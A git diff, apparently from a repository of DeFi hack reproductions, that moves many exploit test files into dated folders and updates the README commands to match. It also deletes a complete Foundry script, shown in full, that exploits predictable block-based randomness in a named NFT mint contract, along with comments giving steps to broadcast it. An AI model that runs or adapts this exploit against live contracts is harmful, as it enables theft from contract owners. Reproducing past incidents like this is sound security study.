-[Auctus_exp.sol](../../src/test/others/Auctus_exp.sol) +[Auctus_exp.sol](../../src/test/2022-03/Auctus_exp.sol) #### Link reference @@ -2596,12 +2595,12 @@ https://etherscan.io/tx/0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5d Testing ```sh -forge test --contracts ./src/test/others/CompoundTusd_exp.sol -vv +forge test --contracts ./src/test/2022-03/CompoundTusd_exp.sol -vv ``` #### Contract -[CompoundTusd_exp.sol](../../src/test/others/CompoundTusd_exp.sol) +[CompoundTusd_exp.sol](../../src/test/2022-03/CompoundTusd_exp.sol) #### Link reference @@ -2616,12 +2615,12 @@ https://blog.openzeppelin.com/compound-tusd-integration-issue-retrospective/ Testing ```sh -forge test --contracts ./src/test/others/OneRing_exp.sol -vv +forge test --contracts ./src/test/2022-03/OneRing_exp.sol -vv ``` #### Contract -[OneRing_exp.sol](../../src/test/others/OneRing_exp.sol) +[OneRing_exp.sol](../../src/test/2022-03/OneRing_exp.sol) #### Link reference @@ -2638,12 +2637,12 @@ https://ftmscan.com/tx/0xca8dd33850e29cf138c8382e17a19e77d7331b57c7a8451648788bb Testing ```sh -forge test --contracts ./src/test/others/LiFi_exp.sol -vvvv +forge test --contracts ./src/test/2022-03/LiFi_exp.sol -vvvv ``` #### Contract -[LiFi_exp.sol](../../src/test/others/LiFi_exp.sol) +[LiFi_exp.sol](../../src/test/2022-03/LiFi_exp.sol) #### Link reference @@ -2664,12 +2663,12 @@ implemented a whitelist to only allow calls to approved DEXs. Testing ```sh -forge test --contracts ./src/test/others/Umbrella_exp.sol -vv +forge test --contracts ./src/test/2022-03/Umbrella_exp.sol -vv ``` #### Contract -[Umbrella_exp.sol](../../src/test/others/Umbrella_exp.sol) +[Umbrella_exp.sol](../../src/test/2022-03/Umbrella_exp.sol) #### Link reference @@ -2686,12 +2685,12 @@ https://etherscan.io/tx/0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7 Testing ```sh -forge test --contracts ./src/test/others/HundredFinance_exp.sol -vv +forge test --contracts ./src/test/2022-03/HundredFinance_exp.sol -vv ``` #### Contract -[HundredFinance_exp.sol](../../src/test/others/HundredFinance_exp.sol) +[HundredFinance_exp.sol](../../src/test/2022-03/HundredFinance_exp.sol) #### Link reference @@ -2708,12 +2707,12 @@ https://gnosisscan.io/tx/0x534b84f657883ddc1b66a314e8b392feb35024afdec61dfe8e7c5 Testing ```sh -forge test --contracts ./src/test/others/Agave_exp.sol -vv +forge test --contracts ./src/test/2022-03/Agave_exp.sol -vv ``` #### Contract -[Agave_exp.sol](../../src/test/others/Agave_exp.sol) +[Agave_exp.sol](../../src/test/2022-03/Agave_exp.sol) #### Link reference @@ -2729,12 +2728,12 @@ https://gnosisscan.io/tx/0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb5 Testing ```sh -forge test --contracts ./src/test/others/Paraluni_exp.sol -vv +forge test --contracts ./src/test/2022-03/Paraluni_exp.sol -vv ``` #### Contract -[Paraluni_exp.sol](../../src/test/others/Paraluni_exp.sol) +[Paraluni_exp.sol](../../src/test/2022-03/Paraluni_exp.sol) #### Link reference @@ -2757,12 +2756,12 @@ https://bscscan.com/tx/0x70f367b9420ac2654a5223cc311c7f9c361736a39fd4e7dff9ed1b8 Testing ```sh -forge test --contracts ./src/test/others/Fantasm_exp.sol -vv +forge test --contracts ./src/test/2022-03/Fantasm_exp.sol -vv ``` #### Contract -[Fantasm_exp.sol](../../src/test/others/Fantasm_exp.sol) +[Fantasm_exp.sol](../../src/test/2022-03/Fantasm_exp.sol) #### Link reference @@ -2781,12 +2780,12 @@ https://www.certik.com/resources/blog/5p92144WQ44Ytm1AL4Jt9X-fantasm-finance Testing ```sh -forge test --contracts ./src/test/others/Bacon_exp.sol -vv +forge test --contracts ./src/test/2022-03/Bacon_exp.sol -vv ``` #### Contract -[Bacon_exp.sol](../../src/test/others/Bacon_exp.sol) +[Bacon_exp.sol](../../src/test/2022-03/Bacon_exp.sol) #### Link reference @@ -2805,12 +2804,12 @@ https://etherscan.io/tx/0x7d2296bcb936aa5e2397ddf8ccba59f54a178c3901666b49291d88 Testing ```sh -forge test --contracts ./src/test/others/TreasureDAO_exp.sol -vv +forge test --contracts ./src/test/2022-03/TreasureDAO_exp.sol -vv ``` #### Contract -[TreasureDAO_exp.sol](../../src/test/others/TreasureDAO_exp.sol) +[TreasureDAO_exp.sol](../../src/test/2022-03/TreasureDAO_exp.sol) #### Link reference @@ -2827,12 +2826,12 @@ https://arbiscan.io/tx/0x82a5ff772c186fb3f62bf9a8461aeadd8ea0904025c3330a4d24782 Testing ```sh -forge test --contracts ./src/test/others/BuildF_exp.sol -vv +forge test --contracts ./src/test/2022-02/BuildF_exp.sol -vv ``` #### Contract -[BuildF_exp.sol](../../src/test/others/BuildF_exp.sol) +[BuildF_exp.sol](../../src/test/2022-02/BuildF_exp.sol) #### Link reference @@ -2849,12 +2848,12 @@ https://etherscan.io/tx/0x544e5849b71b98393f41d641683586d0b519c46a2eeac9bcb35191 Testing ```sh -forge test --contracts ./src/test/others/Sandbox_exp.sol -vv +forge test --contracts ./src/test/2022-02/Sandbox_exp.sol -vv ``` #### Contract -[Sandbox_exp.sol](../../src/test/others/Sandbox_exp.sol) +[Sandbox_exp.sol](../../src/test/2022-02/Sandbox_exp.sol) #### Link reference @@ -2872,12 +2871,12 @@ Testing ```sh Solana TBD -forge test --contracts ./src/test/others/meter_exp.sol -vv +forge test --contracts ./src/test/2022-02/meter_exp.sol -vv ``` #### Contract -[meter_exp.sol](../../src/test/others/meter_exp.sol) +[meter_exp.sol](../../src/test/2022-02/meter_exp.sol) #### Link reference @@ -2897,12 +2896,12 @@ https://moonriver.moonscan.io/tx/0x5a87c24d0665c8f67958099d1ad22e39a03aa08d47d00 Testing ```sh -forge test --contracts ./src/test/others/TecraSpace_exp.sol -vv +forge test --contracts ./src/test/2022-02/TecraSpace_exp.sol -vv ``` #### Contract -[TecraSpace_exp.sol](../../src/test/others/TecraSpace_exp.sol) +[TecraSpace_exp.sol](../../src/test/2022-02/TecraSpace_exp.sol) #### Link reference @@ -2919,12 +2918,12 @@ https://phalcon.blocksec.com/explorer/tx/eth/0x81e9918e248d14d78ff7b697355fd9f45 Testing ```sh -forge test --contracts ./src/test/others/Qubit_exp.sol -vv +forge test --contracts ./src/test/2022-01/Qubit_exp.sol -vv ``` #### Contract -[Qubit_exp.sol](../../src/test/others/Qubit_exp.sol) +[Qubit_exp.sol](../../src/test/2022-01/Qubit_exp.sol) #### Link reference @@ -2945,12 +2944,12 @@ https://bscscan.com/tx/0x50946e3e4ccb7d39f3512b7ecb75df66e6868b9af0eee8a7e4b61ef Testing ```sh -forge test --contracts ./src/test/others/Anyswap_poc.t.sol -vv +forge test --contracts ./src/test/2022-01/Anyswap_exp.sol -vv ``` #### Contract -[Anyswap_poc.t.sol](../../src/test/others/Anyswap_poc.t.sol) +[Anyswap_exp.sol](../../src/test/2022-01/Anyswap_exp.sol) #### Link reference diff --git a/script/LuckyTiger_s_exp.sol b/script/LuckyTiger_s_exp.sol deleted file mode 100644 index c26ffd14..00000000 --- a/script/LuckyTiger_s_exp.sol +++ /dev/null @@ -1,75 +0,0 @@ -// SPDX-License-Identifier: GPL-3.0 - -pragma solidity ^0.8.13; - -import "forge-std/Script.sol"; - -/* - step1: fork mainnet block in locol anvil --fork-url https://rpc.ankr.com/eth --fork-block-number 15403398 - step2: launch exploit - forge script script/luckyHack.sol:luckyHack --fork-url http://127.0.0.1:8545 --private-key $PRIVATE_KEY --broadcast - - poc refers to: https://github.com/0xNezha/luckyHack -*/ -contract luckyHack is Script { - event Log(string); - - address owner = address(this); - address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967; - - function setUp() public { - vm.deal(address(this), 3 ether); - vm.deal(address(nftAddress), 5 ether); - } - - function getRandom() public view returns (uint256) { - if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) { - return 0; - } else { - return 1; - } - } - - function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { - return this.onERC721Received.selector; - } - - function hack(uint256 amount) public { - console.log("Contract balance", address(this).balance); - console.log("getRandom", getRandom()); - - if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) { - revert("Not lucky"); - } - - bytes memory data = abi.encodeWithSignature("publicMint()"); - for (uint256 i = 0; i < amount; ++i) { - if (address(nftAddress).balance <= 0.01 ether) { - emit Log("rug away!"); - - return; - } - - (bool status,) = address(nftAddress).call{value: 0.01 ether}(data); - if (!status) { - revert("error"); - } else { - emit Log("success"); - } - } - } - - function run() public { - vm.startBroadcast(); - - hack(50); - - vm.stopBroadcast(); - } - - function getBalance() external view returns (uint256) { - return address(this).balance; - } - - receive() external payable {} -} diff --git a/src/test/others/Anyswap_poc.t.sol b/src/test/2022-01/Anyswap_exp.sol similarity index 100% rename from src/test/others/Anyswap_poc.t.sol rename to src/test/2022-01/Anyswap_exp.sol diff --git a/src/test/others/Qubit_exp.sol b/src/test/2022-01/Qubit_exp.sol similarity index 100% rename from src/test/others/Qubit_exp.sol rename to src/test/2022-01/Qubit_exp.sol diff --git a/src/test/others/BuildF_exp.sol b/src/test/2022-02/BuildF_exp.sol similarity index 100% rename from src/test/others/BuildF_exp.sol rename to src/test/2022-02/BuildF_exp.sol diff --git a/src/test/others/Meter_exp.sol b/src/test/2022-02/Meter_exp.sol similarity index 100% rename from src/test/others/Meter_exp.sol rename to src/test/2022-02/Meter_exp.sol diff --git a/src/test/others/Sandbox_exp.sol b/src/test/2022-02/Sandbox_exp.sol similarity index 100% rename from src/test/others/Sandbox_exp.sol rename to src/test/2022-02/Sandbox_exp.sol diff --git a/src/test/others/TecraSpace_exp.sol b/src/test/2022-02/TecraSpace_exp.sol similarity index 100% rename from src/test/others/TecraSpace_exp.sol rename to src/test/2022-02/TecraSpace_exp.sol diff --git a/src/test/others/Agave_exp.sol b/src/test/2022-03/Agave_exp.sol similarity index 100% rename from src/test/others/Agave_exp.sol rename to src/test/2022-03/Agave_exp.sol diff --git a/src/test/others/Auctus_exp.sol b/src/test/2022-03/Auctus_exp.sol similarity index 100% rename from src/test/others/Auctus_exp.sol rename to src/test/2022-03/Auctus_exp.sol diff --git a/src/test/others/Bacon_exp.sol b/src/test/2022-03/Bacon_exp.sol similarity index 100% rename from src/test/others/Bacon_exp.sol rename to src/test/2022-03/Bacon_exp.sol diff --git a/src/test/others/CompoundTusd_exp.sol b/src/test/2022-03/CompoundTusd_exp.sol similarity index 100% rename from src/test/others/CompoundTusd_exp.sol rename to src/test/2022-03/CompoundTusd_exp.sol diff --git a/src/test/others/Fantasm_exp.sol b/src/test/2022-03/Fantasm_exp.sol similarity index 100% rename from src/test/others/Fantasm_exp.sol rename to src/test/2022-03/Fantasm_exp.sol diff --git a/src/test/others/HundredFinance_exp.sol b/src/test/2022-03/HundredFinance_exp.sol similarity index 100% rename from src/test/others/HundredFinance_exp.sol rename to src/test/2022-03/HundredFinance_exp.sol diff --git a/src/test/others/LiFi_exp.sol b/src/test/2022-03/LiFi_exp.sol similarity index 100% rename from src/test/others/LiFi_exp.sol rename to src/test/2022-03/LiFi_exp.sol diff --git a/src/test/others/OneRing_exp.sol b/src/test/2022-03/OneRing_exp.sol similarity index 100% rename from src/test/others/OneRing_exp.sol rename to src/test/2022-03/OneRing_exp.sol diff --git a/src/test/others/Paraluni_exp.sol b/src/test/2022-03/Paraluni_exp.sol similarity index 100% rename from src/test/others/Paraluni_exp.sol rename to src/test/2022-03/Paraluni_exp.sol diff --git a/src/test/others/RedactedCartel_exp.sol b/src/test/2022-03/RedactedCartel_exp.sol similarity index 100% rename from src/test/others/RedactedCartel_exp.sol rename to src/test/2022-03/RedactedCartel_exp.sol diff --git a/src/test/others/Revest_exp.sol b/src/test/2022-03/Revest_exp.sol similarity index 100% rename from src/test/others/Revest_exp.sol rename to src/test/2022-03/Revest_exp.sol diff --git a/src/test/others/Ronin_exp.sol b/src/test/2022-03/Ronin_exp.sol similarity index 100% rename from src/test/others/Ronin_exp.sol rename to src/test/2022-03/Ronin_exp.sol diff --git a/src/test/others/TreasureDAO_exp.sol b/src/test/2022-03/TreasureDAO_exp.sol similarity index 100% rename from src/test/others/TreasureDAO_exp.sol rename to src/test/2022-03/TreasureDAO_exp.sol diff --git a/src/test/others/Umbrella_exp.sol b/src/test/2022-03/Umbrella_exp.sol similarity index 100% rename from src/test/others/Umbrella_exp.sol rename to src/test/2022-03/Umbrella_exp.sol diff --git a/src/test/others/AkutarNFT_exp.sol b/src/test/2022-04/AkutarNFT_exp.sol similarity index 100% rename from src/test/others/AkutarNFT_exp.sol rename to src/test/2022-04/AkutarNFT_exp.sol diff --git a/src/test/others/Beanstalk_exp.sol b/src/test/2022-04/Beanstalk_exp.sol similarity index 100% rename from src/test/others/Beanstalk_exp.sol rename to src/test/2022-04/Beanstalk_exp.sol diff --git a/src/test/others/Elephant_Money_poc.sol b/src/test/2022-04/Elephant_Money_exp.sol similarity index 100% rename from src/test/others/Elephant_Money_poc.sol rename to src/test/2022-04/Elephant_Money_exp.sol diff --git a/src/test/others/Gym_1_exp.sol b/src/test/2022-04/Gym_1_exp.sol similarity index 100% rename from src/test/others/Gym_1_exp.sol rename to src/test/2022-04/Gym_1_exp.sol diff --git a/src/test/others/Rari_exp.t.sol b/src/test/2022-04/Rari_exp.sol similarity index 100% rename from src/test/others/Rari_exp.t.sol rename to src/test/2022-04/Rari_exp.sol diff --git a/src/test/others/Rikkei_exp.sol b/src/test/2022-04/Rikkei_exp.sol similarity index 100% rename from src/test/others/Rikkei_exp.sol rename to src/test/2022-04/Rikkei_exp.sol diff --git a/src/test/others/Saddle_exp.sol b/src/test/2022-04/Saddle_exp.sol similarity index 100% rename from src/test/others/Saddle_exp.sol rename to src/test/2022-04/Saddle_exp.sol diff --git a/src/test/others/Wdoge_exp.sol b/src/test/2022-04/Wdoge_exp.sol similarity index 100% rename from src/test/others/Wdoge_exp.sol rename to src/test/2022-04/Wdoge_exp.sol diff --git a/src/test/others/Zeed_exp.sol b/src/test/2022-04/Zeed_exp.sol similarity index 100% rename from src/test/others/Zeed_exp.sol rename to src/test/2022-04/Zeed_exp.sol diff --git a/src/test/others/cftoken_exp.sol b/src/test/2022-04/cftoken_exp.sol similarity index 100% rename from src/test/others/cftoken_exp.sol rename to src/test/2022-04/cftoken_exp.sol diff --git a/src/test/others/deus_exp.sol b/src/test/2022-04/deus_exp.sol similarity index 100% rename from src/test/others/deus_exp.sol rename to src/test/2022-04/deus_exp.sol diff --git a/src/test/others/Bayc_apecoin_exp.sol b/src/test/2022-05/Bayc_apecoin_exp.sol similarity index 100% rename from src/test/others/Bayc_apecoin_exp.sol rename to src/test/2022-05/Bayc_apecoin_exp.sol diff --git a/src/test/2022-05/FortressLoans.exp.sol b/src/test/2022-05/FortressLoans_exp.sol similarity index 100% rename from src/test/2022-05/FortressLoans.exp.sol rename to src/test/2022-05/FortressLoans_exp.sol diff --git a/src/test/others/HackDao_exp.sol b/src/test/2022-05/HackDao_exp.sol similarity index 100% rename from src/test/others/HackDao_exp.sol rename to src/test/2022-05/HackDao_exp.sol diff --git a/src/test/others/Novo_exp.sol b/src/test/2022-05/Novo_exp.sol similarity index 100% rename from src/test/others/Novo_exp.sol rename to src/test/2022-05/Novo_exp.sol diff --git a/src/test/others/Discover_exp.sol b/src/test/2022-06/Discover_exp.sol similarity index 100% rename from src/test/others/Discover_exp.sol rename to src/test/2022-06/Discover_exp.sol diff --git a/src/test/others/Gym_2_exp.sol b/src/test/2022-06/Gym_2_exp.sol similarity index 100% rename from src/test/others/Gym_2_exp.sol rename to src/test/2022-06/Gym_2_exp.sol diff --git a/src/test/others/Harmony_multisig.sol b/src/test/2022-06/Harmony_multisig_exp.sol similarity index 100% rename from src/test/others/Harmony_multisig.sol rename to src/test/2022-06/Harmony_multisig_exp.sol diff --git a/src/test/others/InverseFinance_exp.sol b/src/test/2022-06/InverseFinance_exp.sol similarity index 100% rename from src/test/others/InverseFinance_exp.sol rename to src/test/2022-06/InverseFinance_exp.sol diff --git a/src/test/others/Optimism_exp.sol b/src/test/2022-06/Optimism_exp.sol similarity index 100% rename from src/test/others/Optimism_exp.sol rename to src/test/2022-06/Optimism_exp.sol diff --git a/src/test/others/Snood_poc.t.sol b/src/test/2022-06/Snood_exp.sol similarity index 100% rename from src/test/others/Snood_poc.t.sol rename to src/test/2022-06/Snood_exp.sol diff --git a/src/test/others/XCarnival.exp.sol b/src/test/2022-06/XCarnival_exp.sol similarity index 100% rename from src/test/others/XCarnival.exp.sol rename to src/test/2022-06/XCarnival_exp.sol diff --git a/src/test/others/Audius.exp.sol b/src/test/2022-07/Audius_exp.sol similarity index 100% rename from src/test/others/Audius.exp.sol rename to src/test/2022-07/Audius_exp.sol diff --git a/src/test/others/FlippazOne.sol b/src/test/2022-07/FlippazOne_exp.sol similarity index 100% rename from src/test/others/FlippazOne.sol rename to src/test/2022-07/FlippazOne_exp.sol diff --git a/src/test/others/LPC.exp.sol b/src/test/2022-07/LPC_exp.sol similarity index 100% rename from src/test/others/LPC.exp.sol rename to src/test/2022-07/LPC_exp.sol diff --git a/src/test/others/Omni_exp.sol b/src/test/2022-07/Omni_exp.sol similarity index 100% rename from src/test/others/Omni_exp.sol rename to src/test/2022-07/Omni_exp.sol diff --git a/src/test/others/Quixotic_exp.sol b/src/test/2022-07/Quixotic_exp.sol similarity index 100% rename from src/test/others/Quixotic_exp.sol rename to src/test/2022-07/Quixotic_exp.sol diff --git a/src/test/others/SpaceGodzilla.exp.sol b/src/test/2022-07/SpaceGodzilla_exp.sol similarity index 100% rename from src/test/others/SpaceGodzilla.exp.sol rename to src/test/2022-07/SpaceGodzilla_exp.sol diff --git a/src/test/others/ANCH_exp.sol b/src/test/2022-08/ANCH_exp.sol similarity index 100% rename from src/test/others/ANCH_exp.sol rename to src/test/2022-08/ANCH_exp.sol diff --git a/src/test/others/EGD-Finance.exp.sol b/src/test/2022-08/EGD_Finance_exp.sol similarity index 100% rename from src/test/others/EGD-Finance.exp.sol rename to src/test/2022-08/EGD_Finance_exp.sol diff --git a/src/test/others/LuckyTiger_exp.sol b/src/test/2022-08/LuckyTiger_exp.sol similarity index 100% rename from src/test/others/LuckyTiger_exp.sol rename to src/test/2022-08/LuckyTiger_exp.sol diff --git a/src/test/others/NomadBridge.exp.sol b/src/test/2022-08/NomadBridge_exp.sol similarity index 100% rename from src/test/others/NomadBridge.exp.sol rename to src/test/2022-08/NomadBridge_exp.sol diff --git a/src/test/others/ReaperFarm.exp.sol b/src/test/2022-08/ReaperFarm_exp.sol similarity index 100% rename from src/test/others/ReaperFarm.exp.sol rename to src/test/2022-08/ReaperFarm_exp.sol diff --git a/src/test/others/XST.exp.sol b/src/test/2022-08/XST_exp.sol similarity index 100% rename from src/test/others/XST.exp.sol rename to src/test/2022-08/XST_exp.sol diff --git a/src/test/others/XST02_exp.sol b/src/test/2022-08/XST_exp2.sol similarity index 100% rename from src/test/others/XST02_exp.sol rename to src/test/2022-08/XST_exp2.sol diff --git a/src/test/others/BNB48MEVBot_exp.sol b/src/test/2022-09/BNB48MEVBot_exp.sol similarity index 100% rename from src/test/others/BNB48MEVBot_exp.sol rename to src/test/2022-09/BNB48MEVBot_exp.sol diff --git a/src/test/others/BXH_exp.sol b/src/test/2022-09/BXH_exp.sol similarity index 100% rename from src/test/others/BXH_exp.sol rename to src/test/2022-09/BXH_exp.sol diff --git a/src/test/others/BadGuysbyRPF_exp.sol b/src/test/2022-09/BadGuysbyRPF_exp.sol similarity index 100% rename from src/test/others/BadGuysbyRPF_exp.sol rename to src/test/2022-09/BadGuysbyRPF_exp.sol diff --git a/src/test/others/DPC_exp.sol b/src/test/2022-09/DPC_exp.sol similarity index 100% rename from src/test/others/DPC_exp.sol rename to src/test/2022-09/DPC_exp.sol diff --git a/src/test/others/MEVbadc0de_exp.sol b/src/test/2022-09/MEVbadc0de_exp.sol similarity index 100% rename from src/test/others/MEVbadc0de_exp.sol rename to src/test/2022-09/MEVbadc0de_exp.sol diff --git a/src/test/others/NXUSD_exp.sol b/src/test/2022-09/NXUSD_exp.sol similarity index 100% rename from src/test/others/NXUSD_exp.sol rename to src/test/2022-09/NXUSD_exp.sol diff --git a/src/test/others/NewFreeDAO_exp.sol b/src/test/2022-09/NewFreeDAO_exp.sol similarity index 100% rename from src/test/others/NewFreeDAO_exp.sol rename to src/test/2022-09/NewFreeDAO_exp.sol diff --git a/src/test/others/RADT_exp.sol b/src/test/2022-09/RADT_exp.sol similarity index 100% rename from src/test/others/RADT_exp.sol rename to src/test/2022-09/RADT_exp.sol diff --git a/src/test/others/ROI_exp.sol b/src/test/2022-09/ROI_exp.sol similarity index 100% rename from src/test/others/ROI_exp.sol rename to src/test/2022-09/ROI_exp.sol diff --git a/src/test/others/Shadowfi_exp.sol b/src/test/2022-09/Shadowfi_exp.sol similarity index 100% rename from src/test/others/Shadowfi_exp.sol rename to src/test/2022-09/Shadowfi_exp.sol diff --git a/src/test/others/THB_exp.sol b/src/test/2022-09/THB_exp.sol similarity index 100% rename from src/test/others/THB_exp.sol rename to src/test/2022-09/THB_exp.sol diff --git a/src/test/others/Yyds_exp.sol b/src/test/2022-09/Yyds_exp.sol similarity index 100% rename from src/test/others/Yyds_exp.sol rename to src/test/2022-09/Yyds_exp.sol diff --git a/src/test/others/ZoomproFinance_exp.sol b/src/test/2022-09/ZoomproFinance_exp.sol similarity index 100% rename from src/test/others/ZoomproFinance_exp.sol rename to src/test/2022-09/ZoomproFinance_exp.sol diff --git a/src/test/others/ATK_exp.sol b/src/test/2022-10/ATK_exp.sol similarity index 100% rename from src/test/others/ATK_exp.sol rename to src/test/2022-10/ATK_exp.sol diff --git a/src/test/others/BEGO_exp.sol b/src/test/2022-10/BEGO_exp.sol similarity index 100% rename from src/test/others/BEGO_exp.sol rename to src/test/2022-10/BEGO_exp.sol diff --git a/src/test/others/BabySwap_exp.sol b/src/test/2022-10/BabySwap_exp.sol similarity index 100% rename from src/test/others/BabySwap_exp.sol rename to src/test/2022-10/BabySwap_exp.sol diff --git a/src/test/others/Carrot_exp.sol b/src/test/2022-10/Carrot_exp.sol similarity index 100% rename from src/test/others/Carrot_exp.sol rename to src/test/2022-10/Carrot_exp.sol diff --git a/src/test/others/EFLeverVault_exp.sol b/src/test/2022-10/EFLeverVault_exp.sol similarity index 100% rename from src/test/others/EFLeverVault_exp.sol rename to src/test/2022-10/EFLeverVault_exp.sol diff --git a/src/test/others/HEALTH_exp.sol b/src/test/2022-10/HEALTH_exp.sol similarity index 100% rename from src/test/others/HEALTH_exp.sol rename to src/test/2022-10/HEALTH_exp.sol diff --git a/src/test/others/HPAY_exp.sol b/src/test/2022-10/HPAY_exp.sol similarity index 100% rename from src/test/others/HPAY_exp.sol rename to src/test/2022-10/HPAY_exp.sol diff --git a/src/test/others/INUKO_exp.sol b/src/test/2022-10/INUKO_exp.sol similarity index 100% rename from src/test/others/INUKO_exp.sol rename to src/test/2022-10/INUKO_exp.sol diff --git a/src/test/others/MEVa47b_exp.sol b/src/test/2022-10/MEVa47b_exp.sol similarity index 100% rename from src/test/others/MEVa47b_exp.sol rename to src/test/2022-10/MEVa47b_exp.sol diff --git a/src/test/others/Market_exp.t.sol b/src/test/2022-10/Market_exp.sol similarity index 100% rename from src/test/others/Market_exp.t.sol rename to src/test/2022-10/Market_exp.sol diff --git a/src/test/others/MulticallWithoutCheck_exp.sol b/src/test/2022-10/MulticallWithoutCheck_exp.sol similarity index 100% rename from src/test/others/MulticallWithoutCheck_exp.sol rename to src/test/2022-10/MulticallWithoutCheck_exp.sol diff --git a/src/test/others/N00d_exp.sol b/src/test/2022-10/N00d_exp.sol similarity index 100% rename from src/test/others/N00d_exp.sol rename to src/test/2022-10/N00d_exp.sol diff --git a/src/test/others/OlympusDao.exp.sol b/src/test/2022-10/OlympusDao_exp.sol similarity index 100% rename from src/test/others/OlympusDao.exp.sol rename to src/test/2022-10/OlympusDao_exp.sol diff --git a/src/test/others/PLTD_exp.sol b/src/test/2022-10/PLTD_exp.sol similarity index 100% rename from src/test/others/PLTD_exp.sol rename to src/test/2022-10/PLTD_exp.sol diff --git a/src/test/others/RES_exp.sol b/src/test/2022-10/RES_exp.sol similarity index 100% rename from src/test/others/RES_exp.sol rename to src/test/2022-10/RES_exp.sol diff --git a/src/test/others/RES02_exp.sol b/src/test/2022-10/RES_exp2.sol similarity index 100% rename from src/test/others/RES02_exp.sol rename to src/test/2022-10/RES_exp2.sol diff --git a/src/test/others/RL_exp.sol b/src/test/2022-10/RL_exp.sol similarity index 100% rename from src/test/others/RL_exp.sol rename to src/test/2022-10/RL_exp.sol diff --git a/src/test/others/RabbyWallet_SwapRouter.exp.sol b/src/test/2022-10/RabbyWallet_SwapRouter_exp.sol similarity index 100% rename from src/test/others/RabbyWallet_SwapRouter.exp.sol rename to src/test/2022-10/RabbyWallet_SwapRouter_exp.sol diff --git a/src/test/others/TeamFinance.exp.sol b/src/test/2022-10/TeamFinance_exp.sol similarity index 100% rename from src/test/others/TeamFinance.exp.sol rename to src/test/2022-10/TeamFinance_exp.sol diff --git a/src/test/others/Templedao_exp.sol b/src/test/2022-10/Templedao_exp.sol similarity index 100% rename from src/test/others/Templedao_exp.sol rename to src/test/2022-10/Templedao_exp.sol diff --git a/src/test/others/TransitSwap_exp.sol b/src/test/2022-10/TransitSwap_exp.sol similarity index 100% rename from src/test/others/TransitSwap_exp.sol rename to src/test/2022-10/TransitSwap_exp.sol diff --git a/src/test/others/ULME_exp.sol b/src/test/2022-10/ULME_exp.sol similarity index 100% rename from src/test/others/ULME_exp.sol rename to src/test/2022-10/ULME_exp.sol diff --git a/src/test/others/ULME_exp2.sol b/src/test/2022-10/ULME_exp2.sol similarity index 100% rename from src/test/others/ULME_exp2.sol rename to src/test/2022-10/ULME_exp2.sol diff --git a/src/test/others/Uerii_exp.sol b/src/test/2022-10/Uerii_exp.sol similarity index 100% rename from src/test/others/Uerii_exp.sol rename to src/test/2022-10/Uerii_exp.sol diff --git a/src/test/others/VTF_exp.sol b/src/test/2022-10/VTF_exp.sol similarity index 100% rename from src/test/others/VTF_exp.sol rename to src/test/2022-10/VTF_exp.sol diff --git a/src/test/others/XaveFinance_exp.sol b/src/test/2022-10/XaveFinance_exp.sol similarity index 100% rename from src/test/others/XaveFinance_exp.sol rename to src/test/2022-10/XaveFinance_exp.sol diff --git a/src/test/others/AUR_exp.sol b/src/test/2022-11/AUR_exp.sol similarity index 100% rename from src/test/others/AUR_exp.sol rename to src/test/2022-11/AUR_exp.sol diff --git a/src/test/others/Annex_exp.sol b/src/test/2022-11/Annex_exp.sol similarity index 100% rename from src/test/others/Annex_exp.sol rename to src/test/2022-11/Annex_exp.sol diff --git a/src/test/others/BDEX_exp.sol b/src/test/2022-11/BDEX_exp.sol similarity index 100% rename from src/test/others/BDEX_exp.sol rename to src/test/2022-11/BDEX_exp.sol diff --git a/src/test/others/BrahTOPG_exp.sol b/src/test/2022-11/BrahTOPG_exp.sol similarity index 100% rename from src/test/others/BrahTOPG_exp.sol rename to src/test/2022-11/BrahTOPG_exp.sol diff --git a/src/test/others/DFX_exp.sol b/src/test/2022-11/DFX_exp.sol similarity index 100% rename from src/test/others/DFX_exp.sol rename to src/test/2022-11/DFX_exp.sol diff --git a/src/test/others/Kashi_exp.sol b/src/test/2022-11/Kashi_exp.sol similarity index 100% rename from src/test/others/Kashi_exp.sol rename to src/test/2022-11/Kashi_exp.sol diff --git a/src/test/others/MBC_ZZSH_exp.sol b/src/test/2022-11/MBC_ZZSH_exp.sol similarity index 100% rename from src/test/others/MBC_ZZSH_exp.sol rename to src/test/2022-11/MBC_ZZSH_exp.sol diff --git a/src/test/others/MEV_0ad8.t.sol b/src/test/2022-11/MEV_0ad8_exp.sol similarity index 100% rename from src/test/others/MEV_0ad8.t.sol rename to src/test/2022-11/MEV_0ad8_exp.sol diff --git a/src/test/others/MooCAKECTX_exp.sol b/src/test/2022-11/MooCAKECTX_exp.sol similarity index 100% rename from src/test/others/MooCAKECTX_exp.sol rename to src/test/2022-11/MooCAKECTX_exp.sol diff --git a/src/test/others/NUM_exp.sol b/src/test/2022-11/NUM_exp.sol similarity index 100% rename from src/test/others/NUM_exp.sol rename to src/test/2022-11/NUM_exp.sol diff --git a/src/test/others/SDAO_exp.sol b/src/test/2022-11/SDAO_exp.sol similarity index 100% rename from src/test/others/SDAO_exp.sol rename to src/test/2022-11/SDAO_exp.sol diff --git a/src/test/others/SEAMAN_exp.sol b/src/test/2022-11/SEAMAN_exp.sol similarity index 100% rename from src/test/others/SEAMAN_exp.sol rename to src/test/2022-11/SEAMAN_exp.sol diff --git a/src/test/others/SheepFarm_exp.sol b/src/test/2022-11/SheepFarm_exp.sol similarity index 100% rename from src/test/others/SheepFarm_exp.sol rename to src/test/2022-11/SheepFarm_exp.sol diff --git a/src/test/others/UEarnPool_exp.sol b/src/test/2022-11/UEarnPool_exp.sol similarity index 100% rename from src/test/others/UEarnPool_exp.sol rename to src/test/2022-11/UEarnPool_exp.sol diff --git a/src/test/others/AES_exp.sol b/src/test/2022-12/AES_exp.sol similarity index 100% rename from src/test/others/AES_exp.sol rename to src/test/2022-12/AES_exp.sol diff --git a/src/test/others/APC_exp.sol b/src/test/2022-12/APC_exp.sol similarity index 100% rename from src/test/others/APC_exp.sol rename to src/test/2022-12/APC_exp.sol diff --git a/src/test/others/BBOX_exp.sol b/src/test/2022-12/BBOX_exp.sol similarity index 100% rename from src/test/others/BBOX_exp.sol rename to src/test/2022-12/BBOX_exp.sol diff --git 